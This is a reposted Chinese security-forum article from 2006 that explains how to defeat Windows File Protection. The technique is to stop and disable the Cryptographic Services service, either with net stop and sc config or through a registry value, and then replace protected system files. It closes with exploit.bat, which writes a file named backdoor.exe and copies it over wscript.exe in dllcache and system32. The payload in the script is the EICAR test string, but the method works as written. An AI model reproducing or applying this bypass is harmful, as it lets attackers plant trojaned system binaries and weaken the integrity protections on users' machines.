PS:翻了一下安全焦点的老文章,觉得有用就转载过来了,原文地址:https://www.xfocus.net/bbs/index.php?act=SE&f=2&t=58099&p=269293。

    昨晚花了好多时间写的绕过WFP保护的文章,竟然是错的,我感觉很不爽,我决定再次挑战一下WFP。

    擒贼先擒王,打蛇要打七寸,所以只要我们抓住了WFP的小jj,它就不能勃起了。

    WFP的小jj是谁呢,根据WFP的工作方式:

以下是引用片段:

    在 WFP 收到受保护目录中的文件的目录更改通知后,就会触发这种保护机制。WFP 收到这一通知后,就会确定更改了哪个文件。如果此文件是受保护的文件,WFP 将在编录文件中查找文件签名,以确定新文件的版本是否正确。如果此文件的版本不正确,WFP 将使用高速缓存文件夹(如果文件位于高速缓存文件夹中)或安装源中的文件替换新文件。

    wfp的小jj就是,编录文件,阉割了它,基本上,wfp就是废人了。

    怎么阉割它呢,通过查阅葵花宝典(MSDN),欲练神功,必先自宫。我们知道 windows 里面有个服务叫做 Cryptographic Services,这个服务的作用是:

以下是引用片段:

    提供三种管理服务: 编录数据库服务,它确定 Windows 文件的签名;受保护的根服务,它从此计算机添加和删除受信根证书颁发机构的证书;和密钥(Key)服务,它帮助注册此计算机获取证书。如果此服务被终止,这些管理服务将无法正常运行。如果此服务被禁用,任何依赖它的服务将无法启动。

    干掉这个服务,就可以了。停止用 net stop,由于这个服务再电脑重启后会自动开启,所以我们用SC禁用它。

    重要的补充:

XP sp2 以及 2k 由luoluo的测试

[16:57] <luoluo> cs 就是 cryptsvc.dll

[16:58] <luoluo> win xp中是svchost方式运行

[16:58] <luoluo> win 2000里 services进程里可以找到这个模块

    非常重要的补充:

        在大家的反复测试下,发现 CS 服务以及WFP的几个特性,CS服务在第一次关闭以后,会自动启用。

        (往后 重复启动 停止 CS都不会自动启用了)

        so,我想这就是 envymask 为什么测试会弹出框的原因。

    有两个解决的办法:

        1.利用luoluo提出的替换服务,把 cs 服务用其他服务替换,那么即使cs再次启动,也不能启检查作用。

        2.修改注册表:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Hardware Profiles\0001\System\CurrentControlSet\Enum\ROOT\LEGACY_CRYPTSVC\0000,0 值为启用,1 值为禁用。为了彻底干掉cs服务,我们设值为1。

    wfp 的特性,仅在系统文件被删除或者替换的时候,调用cs服务对其进行检测。

    而当我们结束cs服务,删除或者替换系统文件以后,再次启动cs服务 wfp 不会对系统文件是否改动做检测,所以wfp的监控,是动态的。

    写个 bat 实现,test pass in win 2003。

exploit.bat:

@echo off

rem cheat WFP check by ALLyeSNO

rem my site : http://blog.donews.com/allyesno/

rem my email : shellget@hotmail.com

echo plz waiting net stop to stop

net stop "Cryptographic Services"

echo.

echo plz waiting sc config this service

sc config "cryptsvc" start= disabled

echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*>%systemroot%\system32\dllcache\backdoor.exe

echo copy /y %systemroot%\system32\dllcache\wscript.exe %systemroot%\system32\dllcache\wscript.exe.bak

copy /y %systemroot%\system32\dllcache\wscript.exe %systemroot%\system32\dllcache\wscript.exe.bak

echo copy /y %systemroot%\system32\dllcache\backdoor.exe %systemroot%\system32\dllcache\wscript.exe

copy /y %systemroot%\system32\dllcache\backdoor.exe %systemroot%\system32\dllcache\wscript.exe

echo copy /y %systemroot%\system32\dllcache\backdoor.exe %systemroot%\system32\wscript.exe

copy /y %systemroot%\system32\dllcache\backdoor.exe %systemroot%\system32\wscript.exe

echo yeah we finished our work

echo check the %systemroot%\system32\wscript.exe by dir

echo n u c the file size,Good luck test by ALLyeSNO in Win2003 n WinXP OS

echo echo thx:ZeTa,envymask,10,luoluo 4 test

    my site  : http://blog.donews.com/allyesno/

    my email : shellget@hotmail.com (只接收纯文本方式的邮件)

    特别感谢:ZeTa,envymask 在Win2003,10在2k中的测试结果
         
                luoluo 提出的替换服务的补充,以及,在 XP sp2 中的测试。

    参考文献:

        http://www.microsoft.com/china/winlogo/policies/signature-benefits.asp
        http://support.microsoft.com/default.aspx?scid=kb;zh-cn;222193
        http://support.microsoft.com/default.aspx?scid=kb;zh-tw;282784
        http://support.microsoft.com/default.aspx?scid=kb;zh-cn;222193

    allyesno 编辑于 2006-01-17 19:51